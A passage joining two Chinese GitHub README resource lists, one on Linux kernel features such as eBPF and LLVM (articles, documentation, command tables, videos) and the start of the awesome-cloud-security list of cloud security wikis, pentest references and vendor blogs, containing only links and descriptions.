eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/%E4%BB%80%E4%B9%88%E6%98%AF%20eBPF.md) - [eBPF详解](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/eBPF%E8%AF%A6%E8%A7%A3.md) - [BPF 和 eBPF 初探](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/BPF%20%E5%92%8C%20eBPF%20%E5%88%9D%E6%8E%A2.md) - [Linux 内核监测技术 eBPF](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/Linux%20%E5%86%85%E6%A0%B8%E7%9B%91%E6%B5%8B%E6%8A%80%E6%9C%AF%20eBPF.md) - [eBPF 如何简化服务网格](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/eBPF%20%E5%A6%82%E4%BD%95%E7%AE%80%E5%8C%96%E6%9C%8D%E5%8A%A1%E7%BD%91%E6%A0%BC.md) - [eBPF 用户空间虚拟机实现相关](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/eBPF%20%E7%94%A8%E6%88%B7%E7%A9%BA%E9%97%B4%E8%99%9A%E6%8B%9F%E6%9C%BA%E5%AE%9E%E7%8E%B0%E7%9B%B8%E5%85%B3.md) - [基于 eBPF 实现容器运行时安全](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/%E5%9F%BA%E4%BA%8E%20eBPF%20%E5%AE%9E%E7%8E%B0%E5%AE%B9%E5%99%A8%E8%BF%90%E8%A1%8C%E6%97%B6%E5%AE%89%E5%85%A8.md) - [深入理解 Cilium 的 eBPF 收发包路径](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/%E6%B7%B1%E5%85%A5%E7%90%86%E8%A7%A3%20Cilium%20%E7%9A%84%20eBPF%20%E6%94%B6%E5%8F%91%E5%8C%85%E8%B7%AF%E5%BE%84.md) - [eBPF 概述，第 1 部分：介绍](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/eBPF%20%E6%A6%82%E8%BF%B0%EF%BC%8C%E7%AC%AC%201%20%E9%83%A8%E5%88%86%EF%BC%9A%E4%BB%8B%E7%BB%8D.md) - [eBPF 概述，第 2 部分：机器和字节码](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/eBPF%20%E6%A6%82%E8%BF%B0%EF%BC%8C%E7%AC%AC%202%20%E9%83%A8%E5%88%86%EF%BC%9A%E6%9C%BA%E5%99%A8%E5%92%8C%E5%AD%97%E8%8A%82%E7%A0%81.md) - [eBPF 概述，第 3 部分：软件开发生态](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/eBPF%20%E6%A6%82%E8%BF%B0%EF%BC%8C%E7%AC%AC%203%20%E9%83%A8%E5%88%86%EF%BC%9A%E8%BD%AF%E4%BB%B6%E5%BC%80%E5%8F%91%E7%94%9F%E6%80%81.md) - [eBPF 概述，第 4 部分：在嵌入式系统运行](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/eBPF%20%E6%A6%82%E8%BF%B0%EF%BC%8C%E7%AC%AC%204%20%E9%83%A8%E5%88%86%EF%BC%9A%E5%9C%A8%E5%B5%8C%E5%85%A5%E5%BC%8F%E7%B3%BB%E7%BB%9F%E8%BF%90%E8%A1%8C.md) - [eBPF 概述，第 5 部分：跟踪用户进程](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/eBPF%20%E6%A6%82%E8%BF%B0%EF%BC%8C%E7%AC%AC%205%20%E9%83%A8%E5%88%86%EF%BC%9A%E8%B7%9F%E8%B8%AA%E7%94%A8%E6%88%B7%E8%BF%9B%E7%A8%8B.md) - [【译】大规模微服务利器：eBPF + KubernetesKubeCon, 2020](https://github.com/0voice/kernel_new_features/blob/main/ebpf/%E6%96%87%E7%AB%A0/%E3%80%90%E8%AF%91%5D%E3%80%91%E5%A4%A7%E8%A7%84%E6%A8%A1%E5%BE%AE%E6%9C%8D%E5%8A%A1%E5%88%A9%E5%99%A8%EF%BC%9AeBPF%20%2B%20Kubernetes%EF%BC%88KubeCon%2C%202020%EF%BC%89.md) ### 视频 - [Netflix talks about Extended BPF - A new software type](https://pan.baidu.com/s/1VD-dsBheyJmDUhiIUJiQOw)---提取码: 83sv - [containers_ebpf_kernel](https://pan.baidu.com/s/1NFzeWCJHmsXnzmDTHnt9vg)---提取码: hxkt ## 🔥 [llvm](https://llvm.org/) <div align=center> <img width="60%" height="60%" src="https://user-images.githubusercontent.com/87457873/150629940-85fa8f28-dfe9-4024-a97f-c8489471f7e9.png"/> #### —— 模块化、可重用的编译器以及工具链技术的集合 </div> ### 文档 - 官方文档: - [LLVM: A Compilation Framework for Lifelong Program Analysis & Transformation](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E6%A1%A3/%20A%20Compilation%20Framework%20for%20Lifelong%20Program%20Analysis%20%26%20Transformation.pdf) - [Introduction to the LLVM Compiler System](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E6%A1%A3/Introduction%20to%20the%20LLVM%20Compiler%20System.pdf) - [LLVM语言参考手册](https://web.archive.org/web/20120611064155/http://llvm.org/docs/LangRef.html) - [LLVM语言参考手册-中文版](https://llvm.liuxfe.com/docs/langref/) - [入门LLVM核心库](https://getting-started-with-llvm-core-libraries-zh-cn.readthedocs.io/zh_CN/latest/) - 用户指南： - [使用CMake构建LLVM](https://llvm.org/docs/CMake.html): 使用CMake构建系统的主要入门指南的附录。 - [在ARM平台上构建LLVM指南](https://llvm.org/docs/HowToBuildOnARM.html): 关于在ARM上构建和测试LLVM/Clang的注意事项。 - [如何使用配置文件引导优化构建Clang和LLVM](https://llvm.org/docs/HowToBuildWithPGO.html): 使用PGO构建LLVM/Clang的注意事项。 - [如何为ARM平台交叉编译compiler-rt Builtins](https://llvm.org/docs/HowToCrossCompileBuiltinsOnArm.html): 关于交叉构建和测试ARM的编译器-rt内置函数的注意事项。 - [如何使用Clang/LLVM交叉编译Clang/LLVM](https://llvm.org/docs/HowToCrossCompileLLVM.html)：关于交叉构建和测试LLVM / Clang的注意事项。 - [使用Microsoft Visual Studio开始使用LLVM系统](https://llvm.org/docs/GettingStartedVS.html)：Windows上使用Visual Studio的主要入门指南的附录。 - [LLVM的分析和转换Passes](https://llvm.org/docs/Passes.html):LLVM中实现的优化和分析列表 - [当前版本的发布说明](https://llvm.org/docs/ReleaseNotes.html):这描述了新功能，已知错误和其他限制。 - [如何提交LLVM错误报告](https://llvm.org/docs/HowToSubmitABug.html): 有关正确提交有关您在LLVM系统中遇到的任何错误的信息的说明。 - [sphinx模板快速入门](https://llvm.org/docs/SphinxQuickstartTemplate.html)：使用LLVM测试基础结构的参考手册。 - [LLVM测试套件基础结构指南](https://llvm.org/docs/TestingGuide.html)：使用LLVM测试基础结构的参考手册。 - [LLVM测试套件使用指南](https://llvm.org/docs/TestSuiteGuide.html)：描述如何编译和运行测试套件基准测试。 - [如何构建C，C ++，ObjC和ObjC ++前端](https://clang.llvm.org/get_started.html)：从源代码构建clang前端的说明。 - [LLVM词典](https://llvm.org/docs/Lexicon.html)：LLVM中使用的首字母缩略词，术语和概念的定义。 - [如何将构建配置添加到LLVM Buildbot基础结构](https://llvm.org/docs/HowToAddABuilder.html):有关将新构建器添加到LLVM buildbot master的说明。 - [YAML I/O](https://llvm.org/docs/YamlIO.html)：使用LLVM的YAML I/O库的参考指南。 - [前端作者的性能提示](https://llvm.org/docs/Frontend/PerformanceTips.html)：前端作者关于如何生成IR的技巧的集合，LLVM能够有效地优化。 - [Dockerfiles用于构建LLVM的指南](https://llvm.org/docs/Docker.html)：使用随LLVM提供的Dockerfiles的参考。 - 编程文档： - [LLVM扩展](https://llvm.org/docs/Extensions.html)：LLVM特定的工具和格式扩展LLVM寻求兼容性。 - [CommandLine 2.0库手册](https://llvm.org/docs/CommandLine.html)：提供有关使用命令行解析库的信息。 - [LLVM编码标准](https://llvm.org/docs/CodingStandards.html)：详细介绍了LLVM编码标准，并提供了有关编写高效C ++代码的有用信息。 - [如何为类层次结构设置LLVM样式的RTTI](https://llvm.org/docs/HowToSetUpLLVMStyleRTTI.html)：如何让`isa<>`，`dyn_cast<>`等可供您的类层次的客户。 - [扩展LLVM：添加指令，内在函数，类型等](https://llvm.org/docs/ExtendingLLVM.html)：在这里查看如何向LLVM添加指令和内在函数。 - [libFuzzer - 用于覆盖引导的模糊测试的库](https://llvm.org/docs/LibFuzzer.html)：用于编写进程中引导模糊器的库 - [模糊LLVM库和工具](https://llvm.org/docs/FuzzingLLVM.html)：有关编写和使用Fuzzers查找LLVM中的错误的信息. - [Scudo硬化分配器](https://llvm.org/docs/ScudoHardenedAllocator.html)：一个实现安全加固的malloc（）的库。 - 子系统文档 - [编写LLVM Passes](https://llvm.org/docs/WritingAnLLVMPass.html)：有关如何编写LLVM转换和分析的信息 - [编写LLVM后端](https://llvm.org/docs/WritingAnLLVMBackend.html)：有关如何为机器目标编写LLVM后端的信息 - [LLVM与目标无关的代码生成器](https://llvm.org/docs/CodeGenerator.html)：LLVM代码生成器的设计和实现。如果您正在将LLVM重新定位到新架构，设计新的codegen传递或增强现有组件，则非常有用。 - [机器IR（MIR）格式参考手册](https://llvm.org/docs/MIRLangRef.html)：MIR序列化格式的参考手册，用于测试LLVM的代码生成过程。 - [TableGen](https://llvm.org/docs/TableGen/index.html)：描述了TableGen工具，LLVM代码生成器大量使用它。 - [LLVM别名分析基础结构](https://llvm.org/docs/AliasAnalysis.html)：有关如何编写新别名分析实现或如何使用现有分析的信息。 - [MemorySSA](https://llvm.org/docs/MemorySSA.html)：有关LLVM中的MemorySSA实用程序的信息，以及如何使用它。 - [使用LLVM进行垃圾收集](https://llvm.org/docs/GarbageCollection.html)：接口源语言编译器应该用于编译GC程序。 - [使用LLVM进行源级别调试](https://llvm.org/docs/SourceLevelDebugging.html)：本文档描述了LLVM源代码级调试器背后的设计和理念。 - [LLVM中的自动矢量化](https://llvm.org/docs/Vectorizers.html)：本文档描述了LLVM中矢量化的当前状态 - [LLVM中的异常处理](https://llvm.org/docs/ExceptionHandling.html)：本文档描述了LLVM中异常处理的设计和实现 - [如何添加一个受约束的浮点内在函数](https://llvm.org/docs/AddingConstrainedIntrinsics.html)：在LLVM中添加新的约束数学内在时，提供必要的步骤。 - [LLVM bugpoint工具：设计和使用](https://llvm.org/docs/Bugpoint.html)：自动错误查找器和测试用例减少器描述和使用信息 - [LLVM Bitcode文件格式](https://llvm.org/docs/BitCodeFormat.html)：这描述了用于LLVM“bc”文件的文件格式和编码。 - [支持库](https://llvm.org/docs/SupportLibrary.html)：本文档描述了LLVM支持库（lib/Support）以及如何使LLVM源代码可移植 - [LLVM链接时间优化：设计和实现](https://llvm.org/docs/LinkTimeOptimization.html)：本文档描述了LLVM模块间优化器与链接器及其设计之间的接口 - [LLVM黄金插件](https://llvm.org/docs/GoldPlugin.html)：如何在Linux上使用链接时优化来构建程序。 - [使用GDB调试JIT-ed代码](https://llvm.org/docs/DebuggingJITedCode.html):如何使用GDB调试JITed代码。 - [MCJIT设计与实施](https://llvm.org/docs/MCJITDesignAndImplementation.html)：描述了MCJIT执行引擎的内部工作原理 - [LLVM分支权重元数据](https://llvm.org/docs/BranchWeightMetadata.html)：提供有关分支预测信息的信息。 - [LLVM块频率术语](https://llvm.org/docs/BlockFrequencyTerminology.html):提供有关BlockFrequencyInfo 分析过程中使用的术语的信息 - [LLVM中的分段堆栈](https://llvm.org/docs/SegmentedStacks.html):本文档描述了分段堆栈以及它们在LLVM中的使用方式 - [LLVM的可选丰富的反汇编输出](https://llvm.org/docs/MarkedUpDisassembly.html):本文档介绍了可选的丰富反汇编输出语法 - [如何使用属性](https://llvm.org/docs/HowToUseAttributes.html)：回答有关新属性基础结构的一些问题。 - [NVPTX后端用户指南](https://llvm.org/docs/NVPTXUsage.html)：本文档描述了使用NVPTX后端编译GPU内核。 - [AMDGPU后端用户指南](https://llvm.org/docs/AMDGPUUsage.html):本文档描述了使用AMDGPU后端编译GPU内核。 - [LLVM中的堆栈映射和补丁点](https://llvm.org/docs/StackMaps.html):LLVM支持将指令地址映射到值的位置并允许修补代码。 - [在big endian模式下使用ARM NEON指令](https://llvm.org/docs/BigEndianNEON.html)：LLVM支持在大端ARM目标上生成NEON指令有点不直观。本文档解释了实施和理由。 - [LLVM代码覆盖映射格式](https://llvm.org/docs/CoverageMappingFormat.html):LLVM代码覆盖映射格式 - [LLVM中的垃圾收集安全点](https://llvm.org/docs/Statepoints.html)：这描述了一组垃圾收集支持的实验扩展。 - [MergeFunctions Pass，它是如何工作的](https://llvm.org/docs/MergeFunctions.html)：描述合并优化的函数。 - [InAlloca属性的设计和使用](https://llvm.org/docs/InAlloca.html)：inalloca参数属性的描述。 - [FaultMaps和隐式检查](https://llvm.org/docs/FaultMaps.html)：LLVM支持折叠控制流入错误机器指令。 - [用clang编译CUDA](https://llvm.org/docs/CompileCudaWithLLVM.html)：LLVM对CUDA的支持。 - [LLVM中的协同程序](https://llvm.org/docs/Coroutines.html):LLVM中的协同程序. - [全局指令选择](https://llvm.org/docs/GlobalISel.html)：这描述了原型指令选择替换GlobalISel - [XRay仪表](https://llvm.org/docs/XRay.html)：有关如何在LLVM中使用XRay的高级文档。 - [使用XRay进行调试](https://llvm.org/docs/XRayExample.html)：如何使用XRay调试应用程序的示例。 - [Microsoft PDB文件格式](https://llvm.org/docs/PDB/index.html)：Microsoft PDB（程序数据库）文件格式的详细说明。 - [控制流程验证工具设计文档](https://llvm.org/docs/CFIVerify.html)：控制流完整性验证工具的说明 - [投机负荷强化](https://llvm.org/docs/SpeculativeLoadHardening.html)：Spectre v1的推测负载强化缓解的描述 - [堆栈安全分析](https://llvm.org/docs/StackSafetyAnalysis.html)：本文档描述了局部变量的堆栈安全性分析的设计。 ### LLVM命令指南 #### 基本命令 | 命令 | 说明 | | :----------------------------------------------------------- | :-------------------------------- | | [llvm-as](https://llvm.liuxfe.com/docs/man/llvm-as.html) | LLVM汇编器 | | [llvm-dis](https://llvm.liuxfe.com/docs/man/llvm-dis.html) | LLVM反汇编器 | | [opt](https://llvm.liuxfe.com/docs/man/opt.html) | LLVM优化器 | | [llc](https://llvm.liuxfe.com/docs/man/llc.html) | LLVM静态编译器 | | [lli](https://llvm.liuxfe.com/docs/man/lli.html) | LLVM字节码解释器 | | [llvm-link](https://llvm.liuxfe.com/docs/man/llvm-link.html) | LLVM字节码连接器 | | [llvm-lib](https://llvm.liuxfe.com/docs/man/llvm-lib.html) | LLVM的与lib.exe兼用的库工具 | | [llvm-lipo](https://llvm.liuxfe.com/docs/man/llvm-lipo.html) | 用于处理通用二进制文件的LLVM工具 | | [llvm-config](https://llvm.liuxfe.com/docs/man/llvm-config.html) | 打印LLVM编译选项 | | [llvm-cxxmap](https://llvm.liuxfe.com/docs/man/llvm-cxxmap.html) | Mangled name重映射工具 | | [llvm-diff](https://llvm.liuxfe.com/docs/man/llvm-diff.html) | LLVM 结构”diff” | | [llvm-cov](https://llvm.liuxfe.com/docs/man/llvm-cov.html) | 发出覆盖信息 | | [llvm-profdata](https://llvm.liuxfe.com/docs/man/llvm-profdata.html) | 配置数据工具 | | [llvm-stress](https://llvm.liuxfe.com/docs/man/llvm-stress.html) | 生成随机的.ll文件 | | [llvm-symbolizer](https://llvm.liuxfe.com/docs/man/llvm-symbolizer.html) | 将地址转换为源代码中的位置 | | [llvm-dwarfdump](https://llvm.liuxfe.com/docs/man/llvm-dwarfdump.html) | 转储并检验DWARF调试信息 | | [dsymutil](https://llvm.liuxfe.com/docs/man/dsymutil.html) | 操作存档文件中的DWARF调试符号文件 | | [llvm-mca](https://llvm.liuxfe.com/docs/man/llvm-mca.html) | LLVM机器码分析器 | | [llvm-readobj](https://llvm.liuxfe.com/docs/man/llvm-readobj.html) | LLVM目标文件分析器 | #### GNU bintils替代命令 | 命令 | 说明 | | :----------------------------------------------------------- | :--------------------------------- | | [llvm-addr2line](https://llvm.liuxfe.com/docs/man/llvm-addr2line.html) | addr2line的替代品 | | [llvm-ar](https://llvm.liuxfe.com/docs/man/llvm-ar.html) | LLVM归档器 | | [llvm-cxxfilt](https://llvm.liuxfe.com/docs/man/llvm-cxxfilt.html) | LLVM符合名称分析器 | | [llvm-nm](https://llvm.liuxfe.com/docs/man/llvm-nm.html) | 列出LLVM字节码和目标文件中的符号表 | | [llvm-objcopy](https://llvm.liuxfe.com/docs/man/llvm-objcopy.html) | 目标文件复制和编辑工具 | | [llvm-objdump](https://llvm.liuxfe.com/docs/man/llvm-objdump.html) | LLVM目标文件转储器 | | [llvm-ranlib](https://llvm.liuxfe.com/docs/man/llvm-ranlib.html) | 库存档索引生成工具 | | [llvm-readelf](https://llvm.liuxfe.com/docs/man/llvm-readelf.html) | GNU风格的LLVM对象读取器 | | [llvm-size](https://llvm.liuxfe.com/docs/man/llvm-size.html) | 打印目标文件尺寸信息 | | [llvm-strings](https://llvm.liuxfe.com/docs/man/llvm-strings.html) | 打印目标文件中的字符串 | | [llvm-strip](https://llvm.liuxfe.com/docs/man/llvm-strip.html) | 目标文件去除调试信息工具 | #### 调试工具 | 命令 | 说明 | | :----------------------------------------------------------- | :------------------- | | [bugpoint](https://llvm.liuxfe.com/docs/man/bugpoint.html) | 自动测试用例缩减工具 | | [llvm-extract](https://llvm.liuxfe.com/docs/man/llvm-extract.html) | 从LLVM模块中提取函数 | | [llvm-bcanalyzer](https://llvm.liuxfe.com/docs/man/llvm-bcanalyzer.html) | LLVM字节码分析器 | #### 开发工具 | 命令 | 说明 | | :----------------------------------------------------------- | :-------------------------- | | [FileCheck](https://llvm.liuxfe.com/docs/man/filechcke.html) | 灵活的模式匹配文件验证程序 | | [tblgen](https://llvm.liuxfe.com/docs/man/tblgen.html) | 目标描述到C++代码生成器 | | [lit](https://llvm.liuxfe.com/docs/man/lit.html) | LLVM集成测试仪 | | [llvm-build](https://llvm.liuxfe.com/docs/man/llvm-build.html) | LLVM项目构建实用程序 | | [llvm-exegesis](https://llvm.liuxfe.com/docs/man/llvm-exegesis.html) | LLVM机器指令基准 | | [llvm-pdbutil](https://llvm.liuxfe.com/docs/man/llvm-pdbutil.html) | PDB文件取证和诊断 | | [llvm-locstats](https://llvm.liuxfe.com/docs/man/llvm-locstats.html) | 计算DWARF调试位置的统计信息 | ### 开源项目 - [emscripten-core/emscripten](https://github.com/emscripten-core/emscripten): Emscripten:一个llvm到webassembly的编译器 - [tinygo-org/tinygo](https://github.com/tinygo-org/tinygo): 微控制器、WebAssembly (WASM/WASI)和命令行工具。基于LLVM。 - [numba/numba](https://github.com/numba/numba): 使用LLVM支持NumPy动态Python编译器 - [avast/retdec](https://github.com/avast/retdec): RetDec是一个基于LLVM的可重定向机器码反编译器。 - [lifting-bits/mcsema](https://github.com/lifting-bits/mcsema): 将x86、amd64、aarch64、sparc32和sparc64程序二进制代码提升到LLVM位码的框架 - [microsoft/DirectXShaderCompiler](https://github.com/microsoft/DirectXShaderCompiler): 这个repo托管了DirectX Shader编译器的源代码，它是基于LLVM/Clang的。 - [andreasfertig/cppinsights](https://github.com/andreasfertig/cppinsights): c++洞察力——用编译器的眼光看你的源代码 - [google/souper](https://github.com/google/souper): LLVM IR的超优化器 - [HikariObfuscator/Hikari](https://github.com/HikariObfuscator/Hikari): LLVM模糊处理 - [dotnet/llilc](https://github.com/dotnet/llilc):这个repo包含LLILC，一个基于LLVM的。net Core编译器。它包括一组跨平台的。net代码生成工具，可以将MSIL字节码编译成LLVM支持的平台。 - [banach-space/llvm-tutor](https://github.com/banach-space/llvm-tutor): 用于教学和学习的树外LLVM通行证的集合 - [numba/llvmlite](https://github.com/numba/llvmlite): 用于编写JIT编译器的轻量级LLVM python绑定 - [yrnkrn/zapcc](https://github.com/yrnkrn/zapcc): zapcc是一个基于clang的缓存c++编译器，旨在执行更快的编译 - [go-llvm/llgo](https://github.com/go-llvm/llgo): 基于llvm的编译器 - [eliben/llvm-clang-samples](https://github.com/eliben/llvm-clang-samples): unmaintenance:使用LLVM和Clang编译库和工具的例子 ### 文章 - [LLVM 入门篇](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E7%AB%A0/LLVM%20%E5%85%A5%E9%97%A8%E7%AF%87.md) - [LLVM-Clang入门](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E7%AB%A0/LLVM-Clang%E5%85%A5%E9%97%A8.md) - [LLVM编译器框架介绍](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E7%AB%A0/LLVM%E7%BC%96%E8%AF%91%E5%99%A8%E6%A1%86%E6%9E%B6%E4%BB%8B%E7%BB%8D.md) - [Llvm编译的基本概念和流程](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E7%AB%A0/llvm%E7%BC%96%E8%AF%91%E7%9A%84%E5%9F%BA%E6%9C%AC%E6%A6%82%E5%BF%B5%E5%92%8C%E6%B5%81%E7%A8%8B.md) - [后端技术的重用：LLVM不仅仅让你高效](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E7%AB%A0/%E5%90%8E%E7%AB%AF%E6%8A%80%E6%9C%AF%E7%9A%84%E9%87%8D%E7%94%A8%EF%BC%9ALLVM%E4%B8%8D%E4%BB%85%E4%BB%85%E8%AE%A9%E4%BD%A0%E9%AB%98%E6%95%88.md) - [编译优化｜LLVM代码生成技术详解及在数据库中的应用](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E7%AB%A0/%E7%BC%96%E8%AF%91%E4%BC%98%E5%8C%96%EF%BD%9CLLVM%E4%BB%A3%E7%A0%81%E7%94%9F%E6%88%90%E6%8A%80%E6%9C%AF%E8%AF%A6%E8%A7%A3%E5%8F%8A%E5%9C%A8%E6%95%B0%E6%8D%AE%E5%BA%93%E4%B8%AD%E7%9A%84%E5%BA%94%E7%94%A8.md) - [编译器及底层名词解释](https://github.com/0voice/kernel_new_features/blob/main/llvm/%E6%96%87%E7%AB%A0/%E7%BC%96%E8%AF%91%E5%99%A8%E5%8F%8A%E5%BA%95%E5%B1%82%E5%90%8D%E8%AF%8D%E8%A7%A3%E9%87%8A.md) ### 视频 - [How LLVM & Clang work](https://pan.baidu.com/s/1yTDS9Bn5CiFGhotKjNfcIw)---提取码: 225f - [2021 LLVM Dev Mtg “Otter- Tracing & Visualizing OpenMP Programs as DAGs Through LLVM's OMPT...”](https://pan.baidu.com/s/1lbO_764_sXgMf5mgwajdcw)---提取码: d2k2 - [2021 LLVM Dev Mtg “Navigating Exotic SIMD Lands with an LLVM Guide”](https://pan.baidu.com/s/1SAbepiyv0X6W7Qxf6qVxuA)---提取码: 5v6s - [2019 LLVM Developers’ Meeting- E. Christopher & J. Doerfert “Introduction to LLVM”](https://pan.baidu.com/s/1_g5P0r0Cku30w3m2LiJgWw)---提取码: 8u6e - [2019 LLVM Developers’ Meeting- S. Haastregt & A. Stulova “An overview of Clang ”](https://pan.baidu.com/s/1VOhM2SOeWnRoy24jaWw7dQ)---提取码: r6ct - [P. Goldsborough “clang-useful- Building useful tools with LLVM and clang for fun and profit](https://pan.baidu.com/s/1DkpEdZXeBISJMuExVtpZKg)---提取码: xemt <!-- ## 🔥 kvm <div align=center> <img width="60%" height="60%" src="https://user-images.githubusercontent.com/87457873/150633416-9961e8b7-ff81-488b-8cfe-b69ba739c1ff.png"/> #### —— Linux内核中的虚拟化基础设施 </div> ### 文档 - 官方文档: - 其他文档： ### 开源项目 ### 文章 ### 视频(提取码：1024) ## 🔥 ceph <div align=center> <img width="60%" height="60%" src="https://user-images.githubusercontent.com/87457873/150633285-0e03e44f-8755-4b12-9b62-8f8030d44c94.png"/> #### —— 存储的未来 </div> ### 文档 - 官方文档: - 其他文档： ### 开源项目 ### 文章 ### 视频(提取码：1024) ## 🔥 fuse <div align=center> <img width="60%" height="60%" src="https://user-images.githubusercontent.com/87457873/150633338-fde17a17-9cfb-4a32-bc51-d76e02b6904e.png"/> #### —— 用户态文件系统 </div> ### 文档 - 官方文档: - 其他文档： ### 开源项目 ### 文章 ### 视频(提取码：1024) <br/> <br/> <h3 >零领工作</h3> --- ##### 实时提供，每周发布北京，上海，广州，深圳，杭州，南京，合肥，武汉，长沙，重庆，成都，西安，厦门的c/c++，golang方向的招聘岗位信息。 包含校招，社招，实习岗位， 面经，八股，简历 <img src="https://img.0voice.com/public/0e59910091576beaebe20f303357edf7.jpg" alt="零领工作" style="width:300px;height:300px;"> <br/> <br/>

一个深挖 Linux 内核的新功能特性，以 io_uring, cgroup, ebpf, llvm 为代表，包含开源项目，代码案例，文章，视频，架构脑图等

linux-kernel,iouring,ebpf,kvm,ceph,fuse

teamssix/awesome-cloud-security

<h1 align="center">Awesome Cloud Security 云安全资源汇总 💫 </h1> <p align="center"> <a href="https://github.com/teamssix/awesome-cloud-security/stargazers"><img alt="GitHub stars" src="https://img.shields.io/github/stars/teamssix/awesome-cloud-security" /></a> <a href="https://wiki.teamssix.com"><img alt="T Wiki" src="https://img.shields.io/badge/T%20Wiki%20-%E4%BA%91%E5%AE%89%E5%85%A8%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a> <a href="https://wiki.wgpsec.org"><img alt="WgpSec Wiki" src="https://img.shields.io/badge/%E7%8B%BC%E7%BB%84%E5%AE%89%E5%85%A8%E5%9B%A2%E9%98%9F-%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a> <a href="http://wiki.peiqi.tech"><img alt="PeiQi Wiki" src="https://img.shields.io/badge/PeiQi-%E7%9F%A5%E8%AF%86%E6%96%87%E5%BA%93-blue" /></a> </a> <a href="https://twitter.com/intent/tweet/?text=Awesome%20Cloud%20Security%20%20%E4%BA%91%E5%AE%89%E5%85%A8%E8%B5%84%E6%BA%90%E6%B1%87%E6%80%BB%20%F0%9F%92%AB%20%0Ahttps%3A%2F%2Fgithub.com%2Fteamssix%2Fawesome-cloud-security%0A%23awesome%20%23cloud%20%23security%20%23cloudsecurity%20%23cybersecurtiy"><img alt="tweet" src="https://img.shields.io/twitter/url?url=https://github.com/teamssix/awesome-cloud-security" /></a> <a href="https://twitter.com/teamssix"><img alt="Twitter" src="https://img.shields.io/twitter/follow/teamssix?label=Followers&style=social" /></a> </p> Awesome Cloud Security 项目是从 T Wiki 云安全知识文库独立出来的一个项目， T Wiki 云安全知识文库中包含了自己在云安全方向的学习笔记以及大家一起贡献补充的云安全资源， T Wiki 云安全知识文库地址：[wiki.teamssix.com](https://wiki.teamssix.com) The Awesome Cloud Security project is from the T Wiki cloud security knowledge base, The T Wiki cloud security knowledge base contains my learning notes on cloud security and cloud security resources contributed by everyone, T Wiki cloud security knowledge base site: [wiki.teamssix.com](https://wiki.teamssix.com) > 提示：Mac 按住 command 键，Windows 或 Linux 按住 ctrl 键，然后再点击链接可以在新标签页中打开 ## 0x01 资料 :books: ### 1 综合 * T Wiki 云安全知识文库 :fire: [地址](https://wiki.teamssix.com/) * Hacking The Cloud（英文） [地址](https://hackingthe.cloud/) * Cloud Security Wiki By NotSoSecure（英文）[地址](https://cloudsecwiki.com/index.html) * Cloud Security Wiki By WithSecure（英文）[地址](https://www.secwiki.cloud/) `由「Kagantua」师傅补充，感谢支持` * 云服务漏洞库（英文）[地址](https://www.cloudvulndb.org/) * 2021 年云安全事件回顾（英文）[地址](https://blog.christophetd.fr/cloud-security-breaches-and-vulnerabilities-2021-in-review/) * 云渗透技巧 HackTricks Cloud（英文）[地址](https://cloud.hacktricks.xyz) * 云风险百科（英文）[地址](https://orca.security/resources/cloud-risk-encyclopedia/) * 火线云安全知识库 [地址](https://cloudsec.huoxian.cn/) * 云安全文库（英文）[地址](https://cloudsecdocs.com) * Sysdig 2023 年全球云威胁报告（英文） [地址](https://sysdig.com/blog/2023-global-cloud-threat-report) * 云渗透笔记 CloudPentestCheatsheets（英文）[地址](https://github.com/dafthack/CloudPentestCheatsheets)  `由「Kfzz1」师傅补充，感谢支持` * AWS 攻击知识库 WeirdAAL (英文) [地址](https://github.com/carnal0wnage/weirdAAL)  * T Wiki 云安全知识文库项目 [地址](https://github.com/teamssix/TWiki)  ` T Wiki 文库现已开源，可部署到自己本地方便内网阅读` * 云安全入门资料 [地址](https://github.com/Esonhugh/Attack_Code)  * 云安全向导 [地址](https://github.com/GRQForCloud/cloud-security-guides)  ### 2 博客资讯 * 0xd4y 博客（英文）[地址](https://0xd4y.com/) * Aqua 博客（英文）[地址](https://blog.aquasec.com/) * AWS 安全公告（英文）[地址](https://aws.amazon.com/security/security-bulletins) * Bridgecrew 博客（英文）[地址](https://bridgecrew.io/blog/) * Christophe Tafani-Dereeper 博客（英文）[地址](https://blog.christophetd.fr/) * Chris Farris 的个人博客（英文）[地址](https://www.chrisfarris.com/) * CIS Benchmarks 下载页（英文）[地址](https://downloads.cisecurity.org) * CNCF 博客（英文）[地址](https://www.cncf.io/blog/) * Deepfence 博客（英文）[地址](https://deepfence.io/blog/) * DevOps 安全博客（英文）[地址](https://www.conjur.org/blog/) * DevOps 资讯（英文）[地址](https://devops.com/) * Ermetic 博客（英文）[地址](https://ermetic.com/blog) * Gafnit Amiga 的个人博客（英文）[地址](https://gafnit.blog/) * HashiCorp 博客（英文）[地址](https://www.hashicorp.com/blog) * Humanitec 博客（英文）[地址](https://humanitec.com/blog) * Lacework 博客（英文）[地址](https://www.lacework.com/blog/) * Lightspin 博客（英文）[地址](https://blog.lightspin.io/) * Mystic0x1 